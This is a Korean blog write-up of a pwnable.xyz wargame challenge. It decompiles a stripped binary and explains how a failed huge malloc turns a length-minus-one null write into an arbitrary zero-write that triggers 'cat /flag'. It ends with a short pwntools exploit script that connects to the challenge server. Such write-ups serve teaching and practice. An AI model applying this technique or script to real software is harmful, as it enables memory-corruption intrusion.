보호기법
보호기법이 다 걸려있다.
또한 stripped 되어 있어 main 심볼 정보가 없다
코드 분석
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
char *v4; // rbp
size_t v5; // rdx
size_t size[5]; // [rsp+0h] [rbp-28h] BYREF
size[1] = __readfsqword(0x28u);
sub_B4E(a1, a2, a3);
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ");
size[0] = 0LL;
_isoc99_scanf("%lu", size);
v4 = malloc(size[0]);
_printf_chk(1LL, "Enter your message: ");
read(0, v4, size[0]);
v5 = size[0];
v4[size[0] - 1] = 0;
write(1, v4, v5);
if ( !*v3 )
system("cat /flag");
return 0LL;
}
- v3에 0x40000크기로 할당한 다음 1로 초기화
- v3의 주소를 출력
- size 변수에 입력을 받은 다음 v4 에 size만큼 할당
- v4에 size만큼 입력 받음
- v4[size[0] - 1] = 0; → 직접 디버깅 해봐야할듯
- v3 값이 0이면 flag 획득
익스플로잇 시나리오
main 주소 디버깅하기
https://ddongfary.tistory.com/37
gdb로 main 함수 찾기
이 글은 워게임을 풀 때 파일이 stripped 되어 있어 main 함수 심볼을 disass 할 수 없을 때 main 주소를 찾는 방법이다. 보호기법도 다 걸려있는 문제일 땐 유용하게 쓰일 거 같아 글로 남겨본다..예제
ddongfary.tistory.com
처음엔 bof도 가능할까 싶었지만 v4로부터 v3까지의 주소 차이가 너무 많이나서 bof 문제는 아닌 것 같았다.
v4[size[0] - 1] = 0; 로직 이해하기
v3은 malloc할당한 크기가 코드에 존재하지만 v4는 사이즈 값을 입력받았기 때문에 입력에 따라 변경될 수 있다는 점에 주목했다.
위 내용은 v4[size[0] - 1] = 0 로, rbp(v4) + $rdx(size) - 1 = 0 을 뜻한다.
[rbp + rdx - 1] = 0인 부분에서 [rbp + rdx - 1] = *v3를 만족시키면 v3은 0으로 초기화 될 것이다.
따라서 v4의 할당 사이즈를 고려하여 여러 시도를 해보았다.
v4의 사이즈를 작게 했을 때
rbp의 값이 제대로 들어갔고, 실제로 [rbp + rdx - 1] = 0 로직이 실현되었다.
v4의 사이즈를 엄청 크게 했을 때
v4의 주소가 0이 되었다..
그렇다면 [rbp + rdx - 1] = 0 로직에서 rbp가 0일때? rdx -1 = *v3 이 가능하게 된다!!
또한 v3의 주소 값은 rbx에 담기며 10진수로 변환하는 경우 엄청 큰 값을 가지게 된다.
따라서 rdx 즉, size 값에 처음에 출력해주는 v3의 주소 + 1 을 넣어주면 *v3의 값이 0으로 초기화가 될 것이다.
익스플로잇
from pwn import*
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30000)
p.recvuntil(b'Leak: ')
leak = int(p.recvn(14),16)
print('leak : ',leak)
p.sendlineafter('message: ',str(leak+1))
p.sendafter(b'message: ',b'd')
p.interactive()
'<WAR GAME> > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Dirty_Turtle (0) | 2024.07.05 |
---|